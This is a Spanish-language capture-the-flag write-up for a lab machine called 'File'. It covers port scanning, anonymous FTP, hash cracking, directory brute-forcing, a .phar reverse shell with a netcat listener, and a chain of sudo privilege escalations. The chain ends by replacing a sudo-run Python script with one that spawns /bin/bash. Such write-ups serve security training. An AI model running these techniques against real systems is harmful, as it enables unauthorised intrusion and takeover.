# File

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnZmfeCevvoBtmoxNfoxi%2Fimage.png?alt=media&#x26;token=97f997b8-f525-4e7a-b3e9-2aa1d745d39a" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Ft3mv7mLvkxOQAyWcfJPh%2Fimage.png?alt=media&#x26;token=72872494-3a35-4afd-b52e-d6d6d838f603" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.&#x20;

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMLBmG1eJSyW77gfbXwTD%2Fimage.png?alt=media&#x26;token=23477f27-1be4-4e05-baab-473f67f12680" alt=""><figcaption></figcaption></figure>

Como vemos que tenemos un archivo y que tenemos acceso de manera anónima con FTP lo aprovechamos por si contiene algo relevante.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F1OcrDJHxzaO61Y75VF7F%2Fimage.png?alt=media&#x26;token=ec1016e5-2ba3-4754-972c-9dac312d94f9" alt=""><figcaption></figcaption></figure>

Vemos el contenido y parece ser una cadena correspondiente a un hash por lo que la decodificamos.

```bash
echo "53dd9c6005f3cdfc5a69c5c07388016d" > hash
john --format=raw-md5 hash
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F90Nc9nIQOzw7kwdmteGb%2Fimage.png?alt=media&#x26;token=f6b1026f-449b-4786-a980-8910de0f0abd" alt=""><figcaption></figcaption></figure>

Si ingresamos la IP nos sale la página por defecto de Apache.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnElbTkqdspfP0oT2nQNO%2Fimage.png?alt=media&#x26;token=3d170333-c6de-4505-a2df-228a2d396434" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FzkaDCX6zPrrDUJEybFrC%2Fimage.png?alt=media&#x26;token=53f4c64c-456f-497d-80e9-9451da1d5313" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Hay un archivo y un directorio que nos da pistas que se puede hacer una Reverse Shell. Hay que usar un archivo con extensión `.phar`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F81bFO2m7VgfF93ISyuTB%2Fimage.png?alt=media&#x26;token=a0ddd8dd-5d8b-4935-9044-7f6010e834b5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F2YYhtL1uzSPehSnvKudL%2Fimage.png?alt=media&#x26;token=5aa038cb-e8a3-4cd6-8686-0e91965fc9cd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4ygTabN5levodgIebSbI%2Fimage.png?alt=media&#x26;token=e405a663-d46a-409f-b48a-491077a3b98f" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha.

```bash
nc -nlvp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FspyH2yYnMW7yFZgfQPr4%2Fimage.png?alt=media&#x26;token=199c96b7-3529-45c2-ba53-61bbbb733c11" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

Obtenemos la contraseña de fernando con esta herramienta de nuestro Mario. Nos logueamos.

{% @github-files/github-code-block url="<https://github.com/Maalfer/Sudo_BruteForce>" %}

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FqRxhvvVeqjzXGomW04iN%2Fimage.png?alt=media&#x26;token=4956e154-ee36-474f-ba06-a5cf0eb2d80d" alt=""><figcaption></figcaption></figure>

Realizamos estaganografía.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxbQiDL3lAQggpqqXoxjN%2Fimage.png?alt=media&#x26;token=d974db09-b1e1-4b00-869f-13896c4666e2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJYqLJtB2rOHul0YBxfBb%2Fimage.png?alt=media&#x26;token=69b0b729-4df0-4427-bd7e-abc2eb6e177f" alt=""><figcaption></figcaption></figure>

Al ser un hash lo crackeamos con esta página [CrackStation](https://crackstation.net/).

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5balTVaA9QGlyUGW56cC%2Fimage.png?alt=media&#x26;token=8637f985-b7b1-45dd-8641-8ca7b1cee9c5" alt=""><figcaption></figcaption></figure>

Es la contraseña de mario por lo que nos logueamos. Tiene permisos SUDO con julen [awk](https://gtfobins.github.io/gtfobins/awk/#sudo).

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOLIBYtcBJPU0Rxw0AF43%2Fimage.png?alt=media&#x26;token=e063e557-75e3-49a9-83c1-e054542da7cf" alt=""><figcaption></figcaption></figure>

Ahora tenemos permisos SUDO con [env ](https://gtfobins.github.io/gtfobins/env/#sudo)con el usario iker.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FDJt2qmXfTQfrOBuAzHdl%2Fimage.png?alt=media&#x26;token=94c6be7e-d31c-49ce-9a75-10b789b21c84" alt=""><figcaption></figcaption></figure>

Ahora tenemos permisos SUDO para ejecutar con python un archivo.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FiCXFd66eeH83qyXhfjw0%2Fimage.png?alt=media&#x26;token=90dee7d3-dd03-444a-9c90-5991034100d8" alt=""><figcaption></figcaption></figure>

Lo borramos y creamos con el mismo nombre pero con distinto contenido.

```bash
import os
os.system("/bin/bash")
```

Lo ejecutamos.

```bash
sudo /usr/bin/python3 /home/iker/geo_ip.py
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F9vz9u0IG4lxSh9HCqbQi%2Fimage.png?alt=media&#x26;token=911c1bdf-44bc-4ee7-8737-06482323cc16" alt=""><figcaption></figcaption></figure>
